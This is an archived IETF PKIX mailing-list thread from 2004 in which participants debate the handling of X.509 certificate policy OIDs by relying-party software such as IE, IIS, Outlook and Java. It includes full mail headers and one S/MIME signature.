Received: from av1-1-sn1.fre.skanova.net (av1-1-sn1.fre.skanova.net [81.228.11.107]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S7WIlU000705 for <[e-mail]>; Tue, 27 Jan 2004 23:32:19 -0800 (PST) (envelope-from [e-mail])
Received: by av1-1-sn1.fre.skanova.net (Postfix, from userid 502) id 4E54837E7C; Wed, 28 Jan 2004 08:32:13 +0100 (CET)
Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av1-1-sn1.fre.skanova.net (Postfix) with ESMTP id 3095F37E7C; Wed, 28 Jan 2004 08:32:13 +0100 (CET)
Received: from arport (t11o913p1.telia.com [213.64.28.1]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0S7WA7N028262; Wed, 28 Jan 2004 08:32:11 +0100 (CET)
Message-ID: <006f01c3e570$14a48510$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: <[e-mail]>, "James Jing" <[e-mail]>
Cc: "Peter Gutmann" <[e-mail]>
References: <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Wed, 28 Jan 2004 08:10:32 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

James,

Now you are talking!

In case nobody, in spite of Peter Gutmann's generous reward, takes on
the challenge describing how X.509 policies should be handled by
relying parties [1] based on RFC3280 "as is", I believe that the X.509
policy system should be given a deep second thought.

Best
Anders

1] Comprising of software, administrators, end-users, and lawyers.

----- Original Message ----- 
From: "James Jing" <[e-mail]>
To: <[e-mail]>
Cc: "Anders Rundgren" <[e-mail]>
Sent: Wednesday, January 28, 2004 03:58
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook


Maybe there are enough people out there who also think that PKI has
grown out of control, too hard for simple users to comprehend, even too
hard for knowledgeable implementers?

How can we return to simple and effective PKI?





-----Original Message-----
From: Anders Rundgren [mailto:[e-mail]] 
Sent: Tuesday, January 27, 2004 9:45 PM
To: [e-mail]
Subject: Setting X.509 Policy Data in IE, IIS, Outlook


It has been touted that policy OIDs are essntial for building PKIs.

However, I have not found any place where you can can set the policy
filtering in relying party apps like MSIE, IIS, or Outlook.

I would be interested to know when this feature will be available and
how the policy-OID-related processes are supposed to work from an
end-user perspective.

In case there are such application features available from other
vendors, I would be interested in how they have addresses this issue.

In particular, what you do after "installing" a trust anhcor does not
seem to be an not entirely straightforward matter unless you do a lot of
assumptions. 

Anders




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S0TWi4070889; Tue, 27 Jan 2004 16:29:32 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0S0TWcU070888; Tue, 27 Jan 2004 16:29:32 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from smtp.cs.auckland.ac.nz (smtp.cs.auckland.ac.nz [130.216.33.151]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0S0TSx9070880 for <[e-mail]>; Tue, 27 Jan 2004 16:29:31 -0800 (PST) (envelope-from [e-mail])
Received: from cs.auckland.ac.nz (medusa01.cs.auckland.ac.nz [130.216.34.33]) by smtp.cs.auckland.ac.nz (Postfix) with ESMTP id EB23C34050; Wed, 28 Jan 2004 13:28:40 +1300 (NZDT)
Received: (from pgut001@localhost) by cs.auckland.ac.nz (8.11.6/8.11.6) id i0S0TOx20370; Wed, 28 Jan 2004 13:29:24 +1300
Date: Wed, 28 Jan 2004 13:29:24 +1300
Message-Id: <[e-mail]>
From: [e-mail] (Peter Gutmann)
To: [e-mail], [e-mail]
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Cc: [e-mail]
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Stephen Kent <[e-mail]> writes:

>>Borrowing from your IPsec complaints:
>>A "compliant management interface for the security policy database"
>>for X.509 would be fun to review.  As far as I can see, the X.509
>>policy mechanisms are flawed to the point where it becomes technically
>>infeasible to specify such an interface.  But I stay interested if anybody
>>dares to challenge that statement with something tangible instead of
>>the usual PKI mumbo-jumbo, like "there are many ways to do this".
>
>A challenge with no apparent reward to motivate a response, as usual ...

I hereby offer a reward of one (1) bilabial fricative to anyone who can
provide a clear technical explanation/description of a policy management
interface for X.509, to be paid in full upon delivery of said
explanation/description.

Peter.



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RLEU0P059324; Tue, 27 Jan 2004 13:14:30 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RLEUrf059323; Tue, 27 Jan 2004 13:14:30 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from nwkea-mail-2.sun.com (nwkea-mail-2.sun.com [192.18.42.14]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RLESDq059305 for <[e-mail]>; Tue, 27 Jan 2004 13:14:28 -0800 (PST) (envelope-from [e-mail])
Received: from phys-bur1-1 ([129.148.13.15]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id i0RLEP0H025550 for <[e-mail]>; Tue, 27 Jan 2004 13:14:25 -0800 (PST)
Received: from sun.com (dhcp-ubur02-75-161.East.Sun.COM [129.148.75.161]) by bur-mail2.east.sun.com (iPlanet Messaging Server 5.2 HotFix 1.16 (built May 14 2003)) with ESMTPA id <[e-mail]> for [e-mail]; Tue, 27 Jan 2004 16:14:25 -0500 (EST)
Date: Tue, 27 Jan 2004 16:13:27 -0500
From: Steve Hanna <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
To: David Cross <[e-mail]>
Cc: Anders Rundgren <[e-mail]>, [e-mail]
Message-id: <[e-mail]>
MIME-version: 1.0
X-Mailer: Mozilla 4.79 [en] (WinNT; U)
Content-type: multipart/signed; boundary=------------ms322D00FA85FF29931F6490BB; micalg=sha1; protocol="application/x-pkcs7-signature"
X-Accept-Language: en
References:  <[e-mail]>
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

This is a cryptographically signed message in MIME format.

--------------ms322D00FA85FF29931F6490BB
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The Java 2 Platform supports setting policy parameters
with the java.security.cert.PKIXParameters class. For
more details, see

http://java.sun.com/j2se/1.4.2/docs/api/java/security/cert/PKIXParameters.html
http://java.sun.com/j2se/1.4.2/docs/guide/security/certpath/CertPathProgGuide.html#PKIXParameters

-Steve

David Cross wrote:
> 
> Anders et al:
> 
> Microsoft supports the capability to set a policy option during the
> chain building process through the CertGetCertificateChain() API as a
> parameter in the  CHAIN PARA structure.  Reference:
> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/securit
> y/security/certgetcertificatechain.asp
> 
> At this time, Internet Explorer, Outlook, IIS etc. do not support
> configuration of this policy parameter...frankly due to the fact that
> there is no end user demand for such a feature.  Arguably the demand
> does not exist as nobody in my family could possibly understand what a
> policy OID is and what it means to them.
> 
> However, Windows Server 2003 IAS Server component (RADIUS/Remote Access
> Server) does support admin configuration of allowed policy OIDs by the
> administrator on the server.  In this particular case, it is an
> interesting case with quite some utility as it allows an organization to
> very discretely define which authentication certs would be allowed for
> VPN, etc.  For example, certificates issued to smartcards incorporates
> policy OID foo while authentication certs to software based key stores
> incorporates policy OID bar, the remote access server may require that
> only smartcard based certs may be used for access.
> 
> David B. Cross
> 
> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> On Behalf Of Anders Rundgren
> Sent: Tuesday, January 27, 2004 2:45 AM
> To: [e-mail]
> Subject: Setting X.509 Policy Data in IE, IIS, Outlook
> 
> It has been touted that policy OIDs are essntial for building PKIs.
> 
> However, I have not found any place where you can can set the policy
> filtering in relying party apps like MSIE, IIS, or Outlook.
> 
> I would be interested to know when this feature will be available and
> how the policy-OID-related processes are supposed to work from an
> end-user perspective.
> 
> In case there are such application features available from other
> vendors, I would be interested in how they have addresses this issue.
> 
> In particular, what you do after "installing" a trust anhcor does not
> seem to be an not entirely straightforward matter unless you do a lot of
> assumptions.
> 
> Anders
--------------ms322D00FA85FF29931F6490BB
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIIEAYJKoZIhvcNAQcCoIIIATCCB/0CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BeMwggKjMIICDKADAgECAgMKVAgwDQYJKoZIhvcNAQEEBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMzA3MTExMTAxNTFaFw0wNDA3MTAxMTAxNTFa
MGgxDjAMBgNVBAQTBUhhbm5hMRUwEwYDVQQqEwxTdGVwaGVuIFJvc3MxGzAZBgNVBAMTElN0
ZXBoZW4gUm9zcyBIYW5uYTEiMCAGCSqGSIb3DQEJARYTc3RldmUuaGFubmFAc3VuLmNvbTCB
nzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAoxRk/abMPe7Km2EqpD2FZXzjiBGUHhIdNlIO
9W6mdCQro1xMc+sv+93UuVnIzse+XA67Tqx4g5FdoQ+PI8TQYemYSkTD9GitgU563ypu03UV
86zTJA7u9zVkNv/qL2LRKZ9BXy2Smtet+PUh3nYjMh/ZY7LQxQzmdu1Zunue+yECAwEAAaMw
MC4wHgYDVR0RBBcwFYETc3RldmUuaGFubmFAc3VuLmNvbTAMBgNVHRMBAf8EAjAAMA0GCSqG
SIb3DQEBBAUAA4GBAHbpX0TKiOFu1vxKc3nAOcUHwoci5kinboYrnjWcl37mMXXbBFntaYRM
9LxpGtHdPm7F4pAviKp8bnFzTU46OyUw3kNUAVGDeWYVQC76f0dDZdA313Tn88UZYa+N6O8W
bO8wjKA2vg+yx79WXJCFDu+TpsG/28NKPdH42w8LEOVHMIIDODCCAqGgAwIBAgIQZkVyt8x0
9c9jdkWE0C6RATANBgkqhkiG9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3Vs
dGluZzEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UE
AxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25h
bC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTAwMDgzMDAwMDAwMFoXDTA0MDgyNzIzNTk1OVow
gZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUg
VG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEo
MCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMDCBnzANBgkqhkiG9w0B
AQEFAAOBjQAwgYkCgYEA3jMypmPHCSVFPtJueCdngcXaiBmClw7jRCmKYzUqbXA8+tyu9+50
bzC8M5B/+TRxoKNtmPHDT6Jl2w36S/HW3WGl+YXNVZo1Gp2Sdagnrthy+boC9tewkd4c6avg
GAOofENCUFGHgzzwObSbVIoTh/+zm51JZgAtCYnslGvpoWkCAwEAAaNOMEwwKQYDVR0RBCIw
IKQeMBwxGjAYBgNVBAMTEVByaXZhdGVMYWJlbDEtMjk3MBIGA1UdEwEB/wQIMAYBAf8CAQAw
CwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBAUAA4GBADGxS0dd+QFx5fVTbF151j2YwCYTYoEi
pxL4IpXoG0m3J3sEObr85vIk65H6vewNKjj3UFWobPcNrUwbvAP0teuiR59sogxYjTFCCRFs
sBpp0SsSskBdavl50OouJd2K5PzbDR+dAvNa28o89kTqJmmHf0iezqWf54TYyWJirQXGMYIB
9TCCAfECAQEwgZowgZIxCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQ
BgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0
ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDIwMDAuOC4zMAID
ClQIMAkGBSsOAwIaBQCggbEwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0B
CQUxDxcNMDQwMTI3MjExMzI3WjAjBgkqhkiG9w0BCQQxFgQUJVSrX6JONMQgu+00AEfOho5l
LoQwUgYJKoZIhvcNAQkPMUUwQzAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwBwYFKw4D
AgcwDQYIKoZIhvcNAwICAUAwDQYIKoZIhvcNAwICASgwDQYJKoZIhvcNAQEBBQAEgYBPGOqb
+FdyvGnVIcxIp45Y3vrxJbZZn9wujUYWJbKc1OFJzCzhjLO5rt/BYVqVuu6k5QYTzKtLu1Kk
ABhtx7GQpt+b/sJK+9SZgYlBuGtGQh2E5rM16qhy36n3BgkdyIOjVq+gr1fWoyqW31gQ5tEk
JDGozbsPURYc1WPMUgZvvA==
--------------ms322D00FA85FF29931F6490BB--



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RLBfd1059228; Tue, 27 Jan 2004 13:11:41 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RLBf8i059227; Tue, 27 Jan 2004 13:11:41 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mdhagsmtp01.firstdata.com (mdhagsmtp01.firstdata.com [198.184.5.21]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RLBdRS059212 for <[e-mail]>; Tue, 27 Jan 2004 13:11:40 -0800 (PST) (envelope-from [e-mail])
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
To: "Anders Rundgren" <[e-mail]>
Cc: [e-mail], "Stephen Kent" <[e-mail]>, [e-mail]
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <[e-mail]>
From: [e-mail]
Date: Tue, 27 Jan 2004 14:09:28 -0700
X-MIMETrack: Serialize by Router on MDHAGSMTP/FDMS/FDC(Release 6.0.2CF2|July 23, 2003) at 01/27/2004 04:11:03 PM
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Another issue is that many of the traditional business trust models have
tended to be some sort of contract (exchange of value) between two parties;
supposedly the CA trust propogation relationship typically is between the
relying party and the CA ... while the contractual relationship is between
the public key owner and the CA (except for situations like
relying-party-only certificates .... where the same party is both
selling/issuing the certificates and also relying on the certificates) ....
aka the trust propogation relationship and the contractual trust
relationship are unrelated.

another solution has been to try and have some sort of governmental
legislative proclamation ... declaring/mandating a trust relationship ...
even if one doesn't exist from a business and/or contractual standpoint.

the gsa federal government PKI .... seems to be a variation on the
relying-party-only certificate .... the CAs appear to have a GSA contract
where they effectively are agents of the federal government (i.e. the CAs
are federal agents issuing/selling certificates on behalf of the federal
government). These certificates are then for use by the federal government
as the relying party (making them relying-party certificates).

now, the next issue is that the majority of the federal PKI programs appear
to be online operation ... which in turn would supposedly allow the
relying-party federal government ... to have online access to the original
of the information where the relying-party-only certificate represents a
stale, static copy of some such information stored in some databsse. Also,
possibly because of privacy issues, the stale, static (certificate) copy is
likely also a subset of the information that is actually stored in some
database (collected at the time the registration authority function was
performed involving the registration of the public key and information
about the owner of the public key). One possible issue is that the
operations being performed in conjunction with the federal PKI program
certificates are of such low value, that it doesn't justify having online,
timely access to the real information (even when it appears that all of the
applications in the program are otherwise online) ... aka long-time
assertion that relying-party, state, static, subset certificate information
tends to be redundant and superfluous given that there can be online access
to the original, timely information.


on 1/27/2004 12:27 pm anders.rundgren.com wrote:

May I help you with some analysis?

PKI projects historically started with the CA, and this has influenced some
PKI standards as well, the RFC3280 policy support is a prime example of
that.

However, being a CA, is being an "information producer" which is
considerably easier than being an "information consumer" as only the latter
has to "interpret" and maybe "act" upon what the information producer says.

If the designers of the policy system instead had focused on the relying
party (the "information consumer"), they had probably realized that a
relying party consists of 1) the relying party software 2) the people
depending on the relying party software.

Further analysis shows that the "people" category, except in the most
trivial scenarios, consists of  "trust administrators" and "end users".  In
the background there are also some legal folks lurking around.

If you then apply the design constraint that all these entities should have
the best possible system adapted for the entities' actual tasks and
competence, you would end-up with a very different policy scheme.

Commercial CAs know that, and therefore with few exceptions, continue to
ignore a system that was not designed with the "customer in mind".

The major difference is that policy in commercial CAs is associated with
the CA, eliminating the need for moving trust processing and trust
administration tasks into the application and user domains respectively.
This enables the creation of shrink-wrap RP software as well as shielding
end-users from too close encounters with PKI.

This also allows trust admins to anytime, using "CA properties", view what
"they actually currently trust", without having a single EE certificate!

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RL5Vid058885; Tue, 27 Jan 2004 13:05:31 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RL5Vw4058884; Tue, 27 Jan 2004 13:05:31 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av1-2-sn1.fre.skanova.net (av1-2-sn1.fre.skanova.net [81.228.11.108]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RL5SuW058874 for <[e-mail]>; Tue, 27 Jan 2004 13:05:30 -0800 (PST) (envelope-from [e-mail])
Received: by av1-2-sn1.fre.skanova.net (Postfix, from userid 502) id F37D537E45; Tue, 27 Jan 2004 22:05:24 +0100 (CET)
Received: from smtp5.hy.skanova.net (smtp5.hy.skanova.net [195.67.199.134]) by av1-2-sn1.fre.skanova.net (Postfix) with ESMTP id DC7CE37E45; Tue, 27 Jan 2004 22:05:24 +0100 (CET)
Received: from arport (t12o913p55.telia.com [213.64.28.175]) by smtp5.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0RL5N7N005970; Tue, 27 Jan 2004 22:05:23 +0100 (CET)
Message-ID: <002601c3e518$848b66d0$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "David Cross" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Tue, 27 Jan 2004 21:59:55 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
x-mimeole: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Thanx David,

My request should in no way be interpreted as a criticism of the
lack of policy settings in IE, Outlook and IIS, because as you
say there is no user demand for such a feature which in turn
is due to the limited utility of policy identifiers.  Assuming that
you added such support to the Windows trust anchor installation
process, I believe you would run into a little problem: How is the
trust administrator supposed to know what policy OIDs the CA uses?

Therefore the policy system is really only usable in local PKIs like
in the W2K3 VPN scenario you described.

However, a TPP CA would most likely use different logical CAs
for smart card based keys and file based keys to not get sued by
customers that did not understand that they actually trusted
(and therefore accepted) a bit more stuff than they really opted for
(or their software was designed to handle)...

Anders Rundgren



----- Original Message ----- 
From: "David Cross" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>; <[e-mail]>
Sent: Tuesday, January 27, 2004 20:47
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook


Anders et al:

Microsoft supports the capability to set a policy option during the
chain building process through the CertGetCertificateChain() API as a
parameter in the  CHAIN PARA structure.  Reference:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/securit
y/security/certgetcertificatechain.asp 

At this time, Internet Explorer, Outlook, IIS etc. do not support
configuration of this policy parameter...frankly due to the fact that
there is no end user demand for such a feature.  Arguably the demand
does not exist as nobody in my family could possibly understand what a
policy OID is and what it means to them. 

However, Windows Server 2003 IAS Server component (RADIUS/Remote Access
Server) does support admin configuration of allowed policy OIDs by the
administrator on the server.  In this particular case, it is an
interesting case with quite some utility as it allows an organization to
very discretely define which authentication certs would be allowed for
VPN, etc.  For example, certificates issued to smartcards incorporates
policy OID foo while authentication certs to software based key stores
incorporates policy OID bar, the remote access server may require that
only smartcard based certs may be used for access. 

David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Anders Rundgren
Sent: Tuesday, January 27, 2004 2:45 AM
To: [e-mail]
Subject: Setting X.509 Policy Data in IE, IIS, Outlook


It has been touted that policy OIDs are essntial for building PKIs.

However, I have not found any place where you can can set the policy
filtering in relying party apps like MSIE, IIS, or Outlook.

I would be interested to know when this feature will be available and
how the policy-OID-related processes are supposed to work from an
end-user perspective.

In case there are such application features available from other
vendors, I would be interested in how they have addresses this issue.

In particular, what you do after "installing" a trust anhcor does not
seem to be an not entirely straightforward matter unless you do a lot of
assumptions. 

Anders



Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RJm7rG052705; Tue, 27 Jan 2004 11:48:07 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RJm7vN052704; Tue, 27 Jan 2004 11:48:07 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail2.microsoft.com (mail2.microsoft.com [131.107.3.124]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RJm73b052694 for <[e-mail]>; Tue, 27 Jan 2004 11:48:07 -0800 (PST) (envelope-from [e-mail])
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.1041); Tue, 27 Jan 2004 11:48:04 -0800
Received: from 157.54.8.155 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 27 Jan 2004 11:47:59 -0800
Received: from RED-MSG-41.redmond.corp.microsoft.com ([157.54.12.201]) by inet-hub-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0); Tue, 27 Jan 2004 11:48:14 -0800
x-mimeole: Produced By Microsoft Exchange V6.5.7122.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Tue, 27 Jan 2004 11:47:52 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Setting X.509 Policy Data in IE, IIS, Outlook
Thread-Index: AcPk3TQsXd1245sEQk6ORS4TkEfkkQAL9yDA
From: "David Cross" <[e-mail]>
To: "Anders Rundgren" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 27 Jan 2004 19:48:14.0074 (UTC) FILETIME=[8043DDA0:01C3E50E]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i0RJm73b052699
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Anders et al:

Microsoft supports the capability to set a policy option during the
chain building process through the CertGetCertificateChain() API as a
parameter in the  CHAIN PARA structure.  Reference:
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/securit
y/security/certgetcertificatechain.asp 

At this time, Internet Explorer, Outlook, IIS etc. do not support
configuration of this policy parameter...frankly due to the fact that
there is no end user demand for such a feature.  Arguably the demand
does not exist as nobody in my family could possibly understand what a
policy OID is and what it means to them. 

However, Windows Server 2003 IAS Server component (RADIUS/Remote Access
Server) does support admin configuration of allowed policy OIDs by the
administrator on the server.  In this particular case, it is an
interesting case with quite some utility as it allows an organization to
very discretely define which authentication certs would be allowed for
VPN, etc.  For example, certificates issued to smartcards incorporates
policy OID foo while authentication certs to software based key stores
incorporates policy OID bar, the remote access server may require that
only smartcard based certs may be used for access. 

David B. Cross 



-----Original Message-----
From: [e-mail] [mailto:[e-mail]]
On Behalf Of Anders Rundgren
Sent: Tuesday, January 27, 2004 2:45 AM
To: [e-mail]
Subject: Setting X.509 Policy Data in IE, IIS, Outlook


It has been touted that policy OIDs are essntial for building PKIs.

However, I have not found any place where you can can set the policy
filtering in relying party apps like MSIE, IIS, or Outlook.

I would be interested to know when this feature will be available and
how the policy-OID-related processes are supposed to work from an
end-user perspective.

In case there are such application features available from other
vendors, I would be interested in how they have addresses this issue.

In particular, what you do after "installing" a trust anhcor does not
seem to be an not entirely straightforward matter unless you do a lot of
assumptions. 

Anders




Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RJX5cX051974; Tue, 27 Jan 2004 11:33:05 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i0RJX5w8051973; Tue, 27 Jan 2004 11:33:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av3-2-sn1.fre.skanova.net (av3-2-sn1.fre.skanova.net [81.228.11.110]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i0RJX4nT051954 for <[e-mail]>; Tue, 27 Jan 2004 11:33:05 -0800 (PST) (envelope-from [e-mail])
Received: by av3-2-sn1.fre.skanova.net (Postfix, from userid 502) id CCBB137EBD; Tue, 27 Jan 2004 20:33:00 +0100 (CET)
Received: from smtp4.hy.skanova.net (smtp4.hy.skanova.net [195.67.199.133]) by av3-2-sn1.fre.skanova.net (Postfix) with ESMTP id B961D37EBD; Tue, 27 Jan 2004 20:33:00 +0100 (CET)
Received: from arport (t7o913p64.telia.com [213.64.26.64]) by smtp4.hy.skanova.net (8.12.10/8.12.10) with SMTP id i0RJWs87022434; Tue, 27 Jan 2004 20:32:54 +0100 (CET)
Message-ID: <005001c3e50b$9cddac00$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Stephen Kent" <[e-mail]>
Cc: <[e-mail]>
References: <020201c3e4c2$90d03b60$0500a8c0@arport> <p06020403bc3c20462220@[128.89.89.75]> <041c01c3e4eb$a5411820$0500a8c0@arport> <p06020409bc3c3f827415@[128.89.89.75]>
Subject: Re: Setting X.509 Policy Data in IE, IIS, Outlook
Date: Tue, 27 Jan 2004 20:27:27 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

>>A "compliant management interface for the security policy database"
>>for X.509 would be fun to review.  As far as I can see, the X.509
>>policy mechanisms are flawed to the point where it becomes technically
>>infeasible to specify such an interface.  But I stay interested if anybody
>>dares to challenge that statement with something tangible instead of
>>the usual PKI mumbo-jumbo, like "there are many ways to do this".

>A challenge with no apparent reward to motivate a response, as usual ...

May I help you with some analysis?

PKI projects historically started with the CA, and this has influenced
some PKI standards as well, the RFC3280 policy support is a prime
example of that.

However, being a CA, is being an "information producer" which is
considerably easier than being an "information consumer" as only the
latter has to "interpret" and maybe "act" upon what the information
producer says.

If the designers of the policy system instead had focused on the relying
party (the "information consumer"), they had probably realized that a
relying party consists of 1) the relying party software 2) the people
depending on the relying party software.

Further analysis shows that the "people" category, except in the most
trivial scenarios, consists of  "trust administrators" and "end users". 
In the background there are also some legal folks lurking around.

If you then apply the design constraint that all these entities should
have the best possible system adapted for the entities' actual tasks
and competence, you would end-up with a very different policy scheme.

Commercial CAs know that, and therefore with few exceptions, continue
to ignore a system that was not designed with the "customer in mind".

The major difference is that policy in commercial CAs is associated
with the CA, eliminating the need for moving trust processing and
trust administration tasks into the application and user domains
